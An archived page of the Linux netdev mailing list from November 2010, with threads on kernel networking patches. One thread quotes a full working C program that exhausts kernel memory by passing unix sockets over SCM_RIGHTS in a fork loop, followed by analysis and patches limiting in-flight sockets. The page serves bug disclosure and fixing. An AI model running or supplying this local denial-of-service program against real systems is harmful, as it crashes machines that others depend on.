Netdev List
 help / color / mirror / Atom feed
* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-26  8:59 UTC (permalink / raw)
  To: Shan Wei
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <1290759748.2855.4.camel@edumazet-laptop>

Le vendredi 26 novembre 2010 à 09:22 +0100, Eric Dumazet a écrit :
> Le vendredi 26 novembre 2010 à 15:41 +0800, Shan Wei a écrit :
> > Eric Dumazet wrote, at 11/25/2010 10:11 PM:
> > > @@ -1845,6 +1871,7 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock,
> > >  		unix_state_lock(sk);
> > >  		skb = skb_dequeue(&sk->sk_receive_queue);
> > >  		if (skb == NULL) {
> > > +			unix_sk(sk)->recursion_level = 0;
> > 
> > For SOCK_SEQPACKET type, no need to clear recursion_level counter?
> >  
> > 
> 
> There is no need actually to clear it at all.
> 
> If an application has a complex setup with a dependence tree of unix
> sockets, it will break if messages are not read fast enough.
> 
> So, maybe I should remove this line so that underlying problem comes
> into surface immediately, rather than while in stress load.
> 
> 

The whole sendfd feature is fundamentally flawed, since its not a "give
this file to another user", but "give a pointer to file structure"

As soon as you can pass af_unix sockets, you cannot know if the
intransit "refs to file structure" are going to be consumed by one or
other user. So a per user limit is not possible.

I am not sure it is fixable at all, unless adding a complete graph
structure between af_unix sockets that used the sendfd() mechanism.
(Its a NxN relationship... pretty hard to track)

Yes, we can add limits (global wide), but they could break legacy apps,
and a single user could lock in one fd all the tokens.




^ permalink raw reply

* Re: [PATCH] af_unix: limit unix_tot_inflight
From: Michal Hocko @ 2010-11-26  8:50 UTC (permalink / raw)
  To: stable
  Cc: Vegard Nossum, David Miller, LKML, Andrew Morton, Eugene Teo,
	netdev, Eric Dumazet
In-Reply-To: <1290590335.3464.24.camel@edumazet-laptop>

Shouldn't this go to stable?
AFAICS 2.6.32 contains the same code (the patch applies). 
I haven't tried to reproduce the issue yet.

On Wed 24-11-10 10:18:55, Eric Dumazet wrote:
> Le mercredi 24 novembre 2010 ?? 00:11 +0100, Eric Dumazet a ??crit :
> > Le mardi 23 novembre 2010 ?? 23:21 +0100, Vegard Nossum a ??crit :
> > > Hi,
> > > 
> > > I found this program lying around on my laptop. It kills my box
> > > (2.6.35) instantly by consuming a lot of memory (allocated by the
> > > kernel, so the process doesn't get killed by the OOM killer). As far
> > > as I can tell, the memory isn't being freed when the program exits
> > > either. Maybe it will eventually get cleaned up the UNIX socket
> > > garbage collector thing, but in that case it doesn't get called
> > > quickly enough to save my machine at least.
> > > 
> > > #include <sys/mount.h>
> > > #include <sys/socket.h>
> > > #include <sys/un.h>
> > > #include <sys/wait.h>
> > > 
> > > #include <errno.h>
> > > #include <fcntl.h>
> > > #include <stdio.h>
> > > #include <stdlib.h>
> > > #include <string.h>
> > > #include <unistd.h>
> > > 
> > > static int send_fd(int unix_fd, int fd)
> > > {
> > >         struct msghdr msgh;
> > >         struct cmsghdr *cmsg;
> > >         char buf[CMSG_SPACE(sizeof(fd))];
> > > 
> > >         memset(&msgh, 0, sizeof(msgh));
> > > 
> > >         memset(buf, 0, sizeof(buf));
> > >         msgh.msg_control = buf;
> > >         msgh.msg_controllen = sizeof(buf);
> > > 
> > >         cmsg = CMSG_FIRSTHDR(&msgh);
> > >         cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
> > >         cmsg->cmsg_level = SOL_SOCKET;
> > >         cmsg->cmsg_type = SCM_RIGHTS;
> > > 
> > >         msgh.msg_controllen = cmsg->cmsg_len;
> > > 
> > >         memcpy(CMSG_DATA(cmsg), &fd, sizeof(fd));
> > >         return sendmsg(unix_fd, &msgh, 0);
> > > }
> > > 
> > > int main(int argc, char *argv[])
> > > {
> > >         while (1) {
> > >                 pid_t child;
> > > 
> > >                 child = fork();
> > >                 if (child == -1)
> > >                         exit(EXIT_FAILURE);
> > > 
> > >                 if (child == 0) {
> > >                         int fd[2];
> > >                         int i;
> > > 
> > >                         if (socketpair(PF_UNIX, SOCK_SEQPACKET, 0, fd) == -1)
> > >                                 goto out_error;
> > > 
> > >                         for (i = 0; i < 100; ++i) {
> > >                                 if (send_fd(fd[0], fd[0]) == -1)
> > >                                         goto out_error;
> > > 
> > >                                 if (send_fd(fd[1], fd[1]) == -1)
> > >                                         goto out_error;
> > >                         }
> > > 
> > >                         close(fd[0]);
> > >                         close(fd[1]);
> > >                         goto out;
> > > 
> > >                 out_error:
> > >                         fprintf(stderr, "error: %s\n", strerror(errno));
> > >                 out:
> > >                         exit(EXIT_SUCCESS);
> > >                 }
> > > 
> > >                 while (1) {
> > >                         pid_t kid;
> > >                         int status;
> > > 
> > >                         kid = wait(&status);
> > >                         if (kid == -1) {
> > >                                 if (errno == ECHILD)
> > >                                         break;
> > >                                 if (errno == EINTR)
> > >                                         continue;
> > > 
> > >                                 exit(EXIT_FAILURE);
> > >                         }
> > > 
> > >                         if (WIFEXITED(status)) {
> > >                                 if (WEXITSTATUS(status))
> > >                                         exit(WEXITSTATUS(status));
> > >                                 break;
> > >                         }
> > >                 }
> > >         }
> > > 
> > >         return EXIT_SUCCESS;
> > > }
> > > 
> > > 
> > > Vegard
> > > --
> 
> Here is a patch to address this problem.
> 
> Thanks
> 
> [PATCH] af_unix: limit unix_tot_inflight
> 
> Vegard Nossum found a unix socket OOM was possible, posting an exploit
> program.
> 
> My analysis is we can eat all LOWMEM memory before unix_gc() being
> called from unix_release_sock(). Moreover, the thread blocked in
> unix_gc() can consume huge amount of time to perform cleanup because of
> huge working set.
> 
> One way to handle this is to have a sensible limit on unix_tot_inflight,
> tested from wait_for_unix_gc() and to force a call to unix_gc() if this
> limit is hit.
> 
> This solves the OOM and also reduce overall latencies, and should not
> slowdown normal workloads.
> 
> Reported-by: Vegard Nossum <vegard.nossum@gmail.com>
> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
> Cc: Andrew Morton <akpm@linux-foundation.org>
> Cc: Eugene Teo <eugene@redhat.com>
> ---
>  net/unix/garbage.c |    7 +++++++
>  1 files changed, 7 insertions(+)
> 
> diff --git a/net/unix/garbage.c b/net/unix/garbage.c
> index c8df6fd..40df93d 100644
> --- a/net/unix/garbage.c
> +++ b/net/unix/garbage.c
> @@ -259,9 +259,16 @@ static void inc_inflight_move_tail(struct unix_sock *u)
>  }
>  
>  static bool gc_in_progress = false;
> +#define UNIX_INFLIGHT_TRIGGER_GC 16000
>  
>  void wait_for_unix_gc(void)
>  {
> +	/*
> +	 * If number of inflight sockets is insane,
> +	 * force a garbage collect right now.
> +	 */
> +	if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
> +		unix_gc();
>  	wait_event(unix_gc_wait, gc_in_progress == false);
>  }
>  
> 
> 
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/

-- 
Michal Hocko
L3 team 
SUSE LINUX s.r.o.
Lihovarska 1060/12
190 00 Praha 9    
Czech Republic

^ permalink raw reply

* Re: [PATCH] net: Fix __inet_inherit_port() to correctly increment bsockets and num_owners
From: Eric Dumazet @ 2010-11-26  8:23 UTC (permalink / raw)
  To: Nagendra Tomar; +Cc: netdev, davem
In-Reply-To: <341722.22818.qm@web53703.mail.re2.yahoo.com>

Le jeudi 25 novembre 2010 à 23:49 -0800, Nagendra Tomar a écrit :
> 
> --- On Fri, 26/11/10, Eric Dumazet <eric.dumazet@gmail.com> wrote:
> 
> > 
> > Interesting, how did you notice it is wrong ?
> > 
> 
> Bumped on it while reading related code. 
> 
> 
>       


OK so you'll have to make a proof, because current code seems to work ;)




^ permalink raw reply

* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-26  8:22 UTC (permalink / raw)
  To: Shan Wei
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <4CEF64A4.5080802@cn.fujitsu.com>

Le vendredi 26 novembre 2010 à 15:41 +0800, Shan Wei a écrit :
> Eric Dumazet wrote, at 11/25/2010 10:11 PM:
> > @@ -1845,6 +1871,7 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock,
> >  		unix_state_lock(sk);
> >  		skb = skb_dequeue(&sk->sk_receive_queue);
> >  		if (skb == NULL) {
> > +			unix_sk(sk)->recursion_level = 0;
> 
> For SOCK_SEQPACKET type, no need to clear recursion_level counter?
>  
> 

There is no need actually to clear it at all.

If an application has a complex setup with a dependence tree of unix
sockets, it will break if messages are not read fast enough.

So, maybe I should remove this line so that underlying problem comes
into surface immediately, rather than while in stress load.




^ permalink raw reply

* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Shan Wei @ 2010-11-26  7:52 UTC (permalink / raw)
  To: Eric Dumazet
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <1290752611.2678.3.camel@edumazet-laptop>

Eric Dumazet wrote, at 11/26/2010 02:23 PM:
> Le vendredi 26 novembre 2010 à 12:38 +0800, Shan Wei a écrit :
>> Eric Dumazet wrote, at 11/25/2010 10:11 PM:
>>> Le jeudi 25 novembre 2010 à 13:35 +0500, Марк Коренберг a écrit :
>>>> quick and dirty fix will be not to allow to pass unix socket inside
>>>> unix socket. I think it would not break much applications.
>>>
>>> Really, if it was not needed, net/unix/garbage.c would not exist at
>>> all...
>>>
>>> It is needed by some apps.
>>>
>>>
>>> [PATCH] af_unix: limit recursion level
>>>
>>> Its easy to eat all kernel memory and trigger NMI watchdog, using an
>>> exploit program that queues unix sockets on top of others.
>>>
>>> lkml ref : http://lkml.org/lkml/2010/11/25/8
>>>
>>> This mechanism is used in applications, one choice we have is to have a
>>> recursion limit.
>>>
>>> Other limits might be needed as well (if we queue other types of files),
>>> since the passfd mechanism is currently limited by socket receive queue
>>> sizes only.
>>>
>>> Add a recursion_level to unix socket, allowing up to 4 levels.
>>>
>>> Each time we send an unix socket through sendfd mechanism, we copy its
>>> recursion level (plus one) to receiver. This recursion level is cleared
>>> when socket receive queue is emptied.
>>>
>>> Reported-by: Марк Коренберг <socketpair@gmail.com>
>>> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
>>
>> This problem is same as that reported with title "Unix socket local DOS (OOM)", right?
>> After applied this patch, this program can be killed now. but still eat 100% cpu. 
>>
> 
> Not the same problem, but a different one. 
> 
> In this case, we queue files on top of another and never give a chance
> to free them, unless the program dies (and full memory eaten)
> 
> And yes, its eating 100% cpu, since it has no sleep inside, like
> 
> for (;;) ;

Got it. Thanks.

Have a out of topic question. 
There is some difficulty for me to understand this issue. :-(
why can't we kill this program?

When send fd[0] to ff[0] socket, fd[0] is in flight and will be add reference value.
Athough we close fd[0], their references is still exist.

The reason that can't be killed is about the references or about the latest sockets
created by socketpair() but never be freeed.

-- 
Best Regards
-----
Shan Wei

^ permalink raw reply

* Re: [PATCH] net: Fix __inet_inherit_port() to correctly increment bsockets and num_owners
From: Nagendra Tomar @ 2010-11-26  7:49 UTC (permalink / raw)
  To: Eric Dumazet; +Cc: netdev, davem
In-Reply-To: <1290756031.2678.15.camel@edumazet-laptop>



--- On Fri, 26/11/10, Eric Dumazet <eric.dumazet@gmail.com> wrote:

> 
> Interesting, how did you notice it is wrong ?
> 

Bumped on it while reading related code. 


      

^ permalink raw reply

* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Shan Wei @ 2010-11-26  7:41 UTC (permalink / raw)
  To: Eric Dumazet
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <1290694299.2858.330.camel@edumazet-laptop>

Eric Dumazet wrote, at 11/25/2010 10:11 PM:
> @@ -1845,6 +1871,7 @@ static int unix_stream_recvmsg(struct kiocb *iocb, struct socket *sock,
>  		unix_state_lock(sk);
>  		skb = skb_dequeue(&sk->sk_receive_queue);
>  		if (skb == NULL) {
> +			unix_sk(sk)->recursion_level = 0;

For SOCK_SEQPACKET type, no need to clear recursion_level counter?
 

-- 
Best Regards
-----
Shan Wei

^ permalink raw reply

* Re: [PATCH] net: Fix __inet_inherit_port() to correctly increment bsockets and num_owners
From: Eric Dumazet @ 2010-11-26  7:20 UTC (permalink / raw)
  To: Nagendra Tomar; +Cc: netdev, davem
In-Reply-To: <801098.19711.qm@web53707.mail.re2.yahoo.com>

Le jeudi 25 novembre 2010 à 21:09 -0800, Nagendra Tomar a écrit :
> inet sockets corresponding to passive connections are added to the bind hash
> using ___inet_inherit_port(). These sockets are later removed from the bind 
> hash using __inet_put_port(). These two functions are not exactly symmetrical. 
> __inet_put_port() decrements hashinfo->bsockets and tb->num_owners, whereas 
> ___inet_inherit_port() does not increment them. This results in both of these 
> going to -ve values.
> 
> This patch fixes this by calling inet_bind_hash() from ___inet_inherit_port(),
> which does the right thing.
> 
> Signed-off-by: Nagendra Singh Tomar <tomer_iisc@yahoo.com>
> 
> ---
> --- linux-2.6.36.1/net/ipv4/inet_hashtables.c.orig	2010-11-25 14:56:37.902456597 -0500
> +++ linux-2.6.36.1/net/ipv4/inet_hashtables.c	2010-11-25 15:44:15.038403317 -0500
> @@ -107,12 +107,10 @@ void __inet_inherit_port(struct sock *sk
>  	const int bhash = inet_bhashfn(sock_net(sk), inet_sk(child)->inet_num,
>  			table->bhash_size);
>  	struct inet_bind_hashbucket *head = &table->bhash[bhash];
> -	struct inet_bind_bucket *tb;
>  
>  	spin_lock(&head->lock);
> -	tb = inet_csk(sk)->icsk_bind_hash;
> -	sk_add_bind_node(child, &tb->owners);
> -	inet_csk(child)->icsk_bind_hash = tb;
> +	inet_bind_hash(child, inet_csk(sk)->icsk_bind_hash, 
> +			inet_sk(child)->inet_num);
>  	spin_unlock(&head->lock);
>  }
>  EXPORT_SYMBOL_GPL(__inet_inherit_port);
> ---
> 

Interesting, how did you notice it is wrong ?




^ permalink raw reply

* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Eric Dumazet @ 2010-11-26  6:23 UTC (permalink / raw)
  To: Shan Wei
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <4CEF39AF.6090605@cn.fujitsu.com>

Le vendredi 26 novembre 2010 à 12:38 +0800, Shan Wei a écrit :
> Eric Dumazet wrote, at 11/25/2010 10:11 PM:
> > Le jeudi 25 novembre 2010 à 13:35 +0500, Марк Коренберг a écrit :
> >> quick and dirty fix will be not to allow to pass unix socket inside
> >> unix socket. I think it would not break much applications.
> > 
> > Really, if it was not needed, net/unix/garbage.c would not exist at
> > all...
> > 
> > It is needed by some apps.
> > 
> > 
> > [PATCH] af_unix: limit recursion level
> > 
> > Its easy to eat all kernel memory and trigger NMI watchdog, using an
> > exploit program that queues unix sockets on top of others.
> > 
> > lkml ref : http://lkml.org/lkml/2010/11/25/8
> > 
> > This mechanism is used in applications, one choice we have is to have a
> > recursion limit.
> > 
> > Other limits might be needed as well (if we queue other types of files),
> > since the passfd mechanism is currently limited by socket receive queue
> > sizes only.
> > 
> > Add a recursion_level to unix socket, allowing up to 4 levels.
> > 
> > Each time we send an unix socket through sendfd mechanism, we copy its
> > recursion level (plus one) to receiver. This recursion level is cleared
> > when socket receive queue is emptied.
> > 
> > Reported-by: Марк Коренберг <socketpair@gmail.com>
> > Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>
> 
> This problem is same as that reported with title "Unix socket local DOS (OOM)", right?
> After applied this patch, this program can be killed now. but still eat 100% cpu. 
> 

Not the same problem, but a different one. 

In this case, we queue files on top of another and never give a chance
to free them, unless the program dies (and full memory eaten)

And yes, its eating 100% cpu, since it has no sleep inside, like

for (;;) ;




^ permalink raw reply

* Re: [PATCHv2 2/2] USB CDC NCM host driver
From: Stephen Hemminger @ 2010-11-26  5:59 UTC (permalink / raw)
  To: Alexey Orishko
  Cc: gregkh-l3A5Bk7waGM, linux-usb-u79uwXL29TY76Z2rM5mHXA,
	netdev-u79uwXL29TY76Z2rM5mHXA, oliver-GvhC2dPhHPQdnm+yROfE0A,
	yauheni.kaliuta-xNZwKgViW5gAvxtiuMwx3w, balbi-l0cyMroinI0,
	sjur.brandeland-0IS4wlFg1OjSUeElwK9/Pw, Alexey Orishko
In-Reply-To: <1290694472-2680-2-git-send-email-alexey.orishko-0IS4wlFg1OjSUeElwK9/Pw@public.gmane.org>

On Thu, 25 Nov 2010 15:14:32 +0100
Alexey Orishko <alexey.orishko-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org> wrote:

> +/*
> + * We need to align the beginning of the IP packet (not the Ethernet framing).
> + * The following macro aligns the given offset to the given remainder
> + * and modulus, which must be power of two.
> + */
> +#define	CDC_NCM_ALIGN(rem, offset, mod)	\
> +	((long)(((long)(rem)) - ((long)((-(long)(offset)) & (-(long)(mod))))))

Isn't existing PTR_ALIGN macro sufficient?

-- 
--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html

^ permalink raw reply

* [PATCH] net: Fix __inet_inherit_port() to correctly increment bsockets and num_owners
From: Nagendra Tomar @ 2010-11-26  5:09 UTC (permalink / raw)
  To: netdev; +Cc: davem


inet sockets corresponding to passive connections are added to the bind hash
using ___inet_inherit_port(). These sockets are later removed from the bind 
hash using __inet_put_port(). These two functions are not exactly symmetrical. 
__inet_put_port() decrements hashinfo->bsockets and tb->num_owners, whereas 
___inet_inherit_port() does not increment them. This results in both of these 
going to -ve values.

This patch fixes this by calling inet_bind_hash() from ___inet_inherit_port(),
which does the right thing.

Signed-off-by: Nagendra Singh Tomar <tomer_iisc@yahoo.com>

---
--- linux-2.6.36.1/net/ipv4/inet_hashtables.c.orig	2010-11-25 14:56:37.902456597 -0500
+++ linux-2.6.36.1/net/ipv4/inet_hashtables.c	2010-11-25 15:44:15.038403317 -0500
@@ -107,12 +107,10 @@ void __inet_inherit_port(struct sock *sk
 	const int bhash = inet_bhashfn(sock_net(sk), inet_sk(child)->inet_num,
 			table->bhash_size);
 	struct inet_bind_hashbucket *head = &table->bhash[bhash];
-	struct inet_bind_bucket *tb;
 
 	spin_lock(&head->lock);
-	tb = inet_csk(sk)->icsk_bind_hash;
-	sk_add_bind_node(child, &tb->owners);
-	inet_csk(child)->icsk_bind_hash = tb;
+	inet_bind_hash(child, inet_csk(sk)->icsk_bind_hash, 
+			inet_sk(child)->inet_num);
 	spin_unlock(&head->lock);
 }
 EXPORT_SYMBOL_GPL(__inet_inherit_port);
---



      

^ permalink raw reply

* Re: Fwd: Simple kernel attack using socketpair. easy, 100% reproductiblle, works under guest. no way to protect :(
From: Shan Wei @ 2010-11-26  4:38 UTC (permalink / raw)
  To: Eric Dumazet
  Cc: Марк Коренберг,
	David Miller, netdev
In-Reply-To: <1290694299.2858.330.camel@edumazet-laptop>

Eric Dumazet wrote, at 11/25/2010 10:11 PM:
> Le jeudi 25 novembre 2010 à 13:35 +0500, Марк Коренберг a écrit :
>> quick and dirty fix will be not to allow to pass unix socket inside
>> unix socket. I think it would not break much applications.
> 
> Really, if it was not needed, net/unix/garbage.c would not exist at
> all...
> 
> It is needed by some apps.
> 
> 
> [PATCH] af_unix: limit recursion level
> 
> Its easy to eat all kernel memory and trigger NMI watchdog, using an
> exploit program that queues unix sockets on top of others.
> 
> lkml ref : http://lkml.org/lkml/2010/11/25/8
> 
> This mechanism is used in applications, one choice we have is to have a
> recursion limit.
> 
> Other limits might be needed as well (if we queue other types of files),
> since the passfd mechanism is currently limited by socket receive queue
> sizes only.
> 
> Add a recursion_level to unix socket, allowing up to 4 levels.
> 
> Each time we send an unix socket through sendfd mechanism, we copy its
> recursion level (plus one) to receiver. This recursion level is cleared
> when socket receive queue is emptied.
> 
> Reported-by: Марк Коренберг <socketpair@gmail.com>
> Signed-off-by: Eric Dumazet <eric.dumazet@gmail.com>

This problem is same as that reported with title "Unix socket local DOS (OOM)", right?
After applied this patch, this program can be killed now. but still eat 100% cpu. 

-- 
Best Regards
-----
Shan Wei

^ permalink raw reply

* Re: [PATCH] bonding: check for assigned mac before adopting the slaves mac address
From: Jay Vosburgh @ 2010-11-26  3:26 UTC (permalink / raw)
  To: David Strand; +Cc: netdev, linux-kernel
In-Reply-To: <AANLkTi=-DzUmopboX13V_cd=mZnmD=mBNNCuhQYF0PQQ@mail.gmail.com>

David Strand <dpstrand@gmail.com> wrote:

>We have a use case where we assign a mac to the bond device, because
>the slave device configuration may change periodically. With older
>kernels, it honored the assigned mac and everything was fine, with
>2.6.36 it now uses the mac of whatever slave device is first instead
>of our assigned one.
>
>ifenslave code and documentation appears to still support the old way,
>where a bond assigned mac will reign supreme, so this patch restores
>that behavior.

	Ok, fair enough.  If we want to get back to the original
behavior, however, your patch should only test for zero MAC address
instead of testing for zero MAC address in addition to first slave.

	-J

---
	-Jay Vosburgh, IBM Linux Technology Center, fubar@us.ibm.com

^ permalink raw reply

* [PATCH net-next-2.6 19/19 v5] can: EG20T PCH: Replace netif_rx to netif_receive_skb
From: Tomoya MORINAGA @ 2010-11-26  2:27 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Replace netif_rx to netif_receive_skb
 Since this driver is implemented as NAPI,
 netif_receive_skb must be used not netif_rx.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 1c3baca..a7bd18f 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -578,7 +578,7 @@ static void pch_can_error(struct net_device *ndev, u32 status)
 	cf->data[7] = (errc & PCH_REC) >> 8;
 
 	priv->can.state = state;
-	netif_rx(skb);
+	netif_receive_skb(skb);
 
 	stats->rx_packets++;
 	stats->rx_bytes += cf->can_dlc;
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 18/19 v5] can: EG20T PCH: Add setting TEC/REC statistics processing
From: Tomoya MORINAGA @ 2010-11-26  2:26 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Add setting TEC/REC statistics processing

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |    3 +++
 1 files changed, 3 insertions(+), 0 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 16806da..1c3baca 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -574,6 +574,9 @@ static void pch_can_error(struct net_device *ndev, u32 status)
 		break;
 	}
 
+	cf->data[6] = errc & PCH_TEC;
+	cf->data[7] = (errc & PCH_REC) >> 8;
+
 	priv->can.state = state;
 	netif_rx(skb);
 
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 17/19 v5] can: EG20T PCH: Optimize "if" condition in rx/tx processing
From: Tomoya MORINAGA @ 2010-11-26  2:25 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Optimize "if" condition in rx/tx processing
 For reduce "if" condition, easy to read/understand the code,
 optimize "if" condition in rx/tx processing.

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   26 ++++++++++----------------
 1 files changed, 10 insertions(+), 16 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index 1675045..16806da 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -757,19 +757,16 @@ static int pch_can_poll(struct napi_struct *napi, int quota)
 
 	if (int_stat == PCH_STATUS_INT) {
 		reg_stat = ioread32(&priv->regs->stat);
-		if (reg_stat & (PCH_BUS_OFF | PCH_LEC_ALL)) {
-			if (reg_stat & PCH_BUS_OFF ||
-			   (reg_stat & PCH_LEC_ALL) != PCH_LEC_ALL) {
-				pch_can_error(ndev, reg_stat);
-				quota--;
-			}
-		}
 
-		if (reg_stat & PCH_TX_OK)
-			pch_can_bit_clear(&priv->regs->stat, PCH_TX_OK);
+		if ((reg_stat & (PCH_BUS_OFF | PCH_LEC_ALL)) &&
+		   ((reg_stat & PCH_LEC_ALL) != PCH_LEC_ALL)) {
+			pch_can_error(ndev, reg_stat);
+			quota--;
+		}
 
-		if (reg_stat & PCH_RX_OK)
-			pch_can_bit_clear(&priv->regs->stat, PCH_RX_OK);
+		if (reg_stat & (PCH_TX_OK | PCH_RX_OK))
+			pch_can_bit_clear(&priv->regs->stat,
+					  reg_stat & (PCH_TX_OK | PCH_RX_OK));
 
 		int_stat = pch_can_int_pending(priv);
 	}
@@ -911,14 +908,13 @@ static netdev_tx_t pch_xmit(struct sk_buff *skb, struct net_device *ndev)
 	if (can_dropped_invalid_skb(ndev, skb))
 		return NETDEV_TX_OK;
 
+	tx_obj_no = priv->tx_obj;
 	if (priv->tx_obj == PCH_TX_OBJ_END) {
 		if (ioread32(&priv->regs->treq2) & PCH_TREQ2_TX_MASK)
 			netif_stop_queue(ndev);
 
-		tx_obj_no = priv->tx_obj;
 		priv->tx_obj = PCH_TX_OBJ_START;
 	} else {
-		tx_obj_no = priv->tx_obj;
 		priv->tx_obj++;
 	}
 
@@ -937,9 +933,7 @@ static netdev_tx_t pch_xmit(struct sk_buff *skb, struct net_device *ndev)
 	id2 |= PCH_ID_MSGVAL;
 
 	/* If remote frame has to be transmitted.. */
-	if (cf->can_id & CAN_RTR_FLAG)
-		id2 &= ~PCH_ID2_DIR;
-	else
+	if (!(cf->can_id & CAN_RTR_FLAG))
 		id2 |= PCH_ID2_DIR;
 
 	iowrite32(id2, &priv->regs->ifregs[1].id2);
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 16/19 v5] can: EG20T PCH: Fix incorrect return processing
From: Tomoya MORINAGA @ 2010-11-26  2:24 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Fix incorrect return processing

Signed-off-by: Tomoya MORINAGA <tomoya-linux@dsn.okisemi.com>
---
 drivers/net/can/pch_can.c |   19 ++++++++++---------
 1 files changed, 10 insertions(+), 9 deletions(-)

diff --git a/drivers/net/can/pch_can.c b/drivers/net/can/pch_can.c
index e2132b7..1675045 100644
--- a/drivers/net/can/pch_can.c
+++ b/drivers/net/can/pch_can.c
@@ -586,9 +586,11 @@ static irqreturn_t pch_can_interrupt(int irq, void *dev_id)
 	struct net_device *ndev = (struct net_device *)dev_id;
 	struct pch_can_priv *priv = netdev_priv(ndev);
 
+	if (!pch_can_int_pending(priv))
+		return IRQ_NONE;
+
 	pch_can_set_int_enables(priv, PCH_CAN_NONE);
 	napi_schedule(&priv->napi);
-
 	return IRQ_HANDLED;
 }
 
@@ -682,8 +684,10 @@ static int pch_can_rx_normal(struct net_device *ndev, u32 obj_num, int quota)
 		}
 
 		skb = alloc_can_skb(priv->ndev, &cf);
-		if (!skb)
-			return -ENOMEM;
+		if (!skb) {
+			netdev_err(ndev, "alloc_can_skb Failed\n");
+			return rcv_pkts;
+		}
 
 		/* Get Received data */
 		id2 = ioread32(&priv->regs->ifregs[0].id2);
@@ -744,8 +748,8 @@ static int pch_can_poll(struct napi_struct *napi, int quota)
 	struct net_device *ndev = napi->dev;
 	struct pch_can_priv *priv = netdev_priv(ndev);
 	u32 int_stat;
-	int rcv_pkts = 0;
 	u32 reg_stat;
+	int quota_save = quota;
 
 	int_stat = pch_can_int_pending(priv);
 	if (!int_stat)
@@ -774,10 +778,7 @@ static int pch_can_poll(struct napi_struct *napi, int quota)
 		goto end;
 
 	if ((int_stat >= PCH_RX_OBJ_START) && (int_stat <= PCH_RX_OBJ_END)) {
-		rcv_pkts += pch_can_rx_normal(ndev, int_stat, quota);
-		quota -= rcv_pkts;
-		if (quota < 0)
-			goto end;
+		quota -= pch_can_rx_normal(ndev, int_stat, quota);
 	} else if ((int_stat >= PCH_TX_OBJ_START) &&
 		   (int_stat <= PCH_TX_OBJ_END)) {
 		/* Handle transmission interrupt */
@@ -788,7 +789,7 @@ end:
 	napi_complete(napi);
 	pch_can_set_int_enables(priv, PCH_CAN_ALL);
 
-	return rcv_pkts;
+	return quota_save - quota;
 }
 
 static int pch_set_bittiming(struct net_device *ndev)
-- 
1.6.0.6

^ permalink raw reply related

* [PATCH net-next-2.6 15/19 v5] can: EG20T PCH: Move MSI processing open/close to probe/remove
From: Tomoya MORINAGA @ 2010-11-26  2:22 UTC (permalink / raw)
  To: Wolfgang Grandegger, Wolfram Sang, Christian Pellegrin,
	Barry Song, Samuel Ortiz
  Cc: qi.wang, yong.y.wang, andrew.chih.howe.khor, joel.clark,
	kok.howg.ewe, margie.foster

Move MSI processing to probe/remove processing.
 Currently, in case this driver is integrated as module, and when this
 module is re-installed, no interrupts is to be occurred.
 For the above issue, move MSI processing to open/release processing.

